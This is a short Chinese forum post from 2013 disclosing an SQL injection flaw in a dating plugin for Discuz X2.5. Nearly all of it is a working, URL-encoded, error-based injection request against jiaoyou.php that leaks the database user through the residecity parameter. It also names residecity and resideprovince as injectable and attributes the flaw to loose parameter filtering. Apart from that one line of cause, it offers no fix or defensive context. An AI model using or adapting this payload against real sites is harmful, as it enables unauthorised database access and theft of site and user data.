[其他教程] Discuz X2.5交友插件注入漏洞

小白 发表于 2013-5-28 18:06:37 | 显示全部楼层 |阅读模式

GET
http://www.yoursite.com/jiaoyou.php?mod=search&residecity=%27%20or%20@%60%27%60%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28user%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20or%20@%60%27%60%20and%20%271%27=%271
residecity
resideprovince

复制代码

参数过滤不严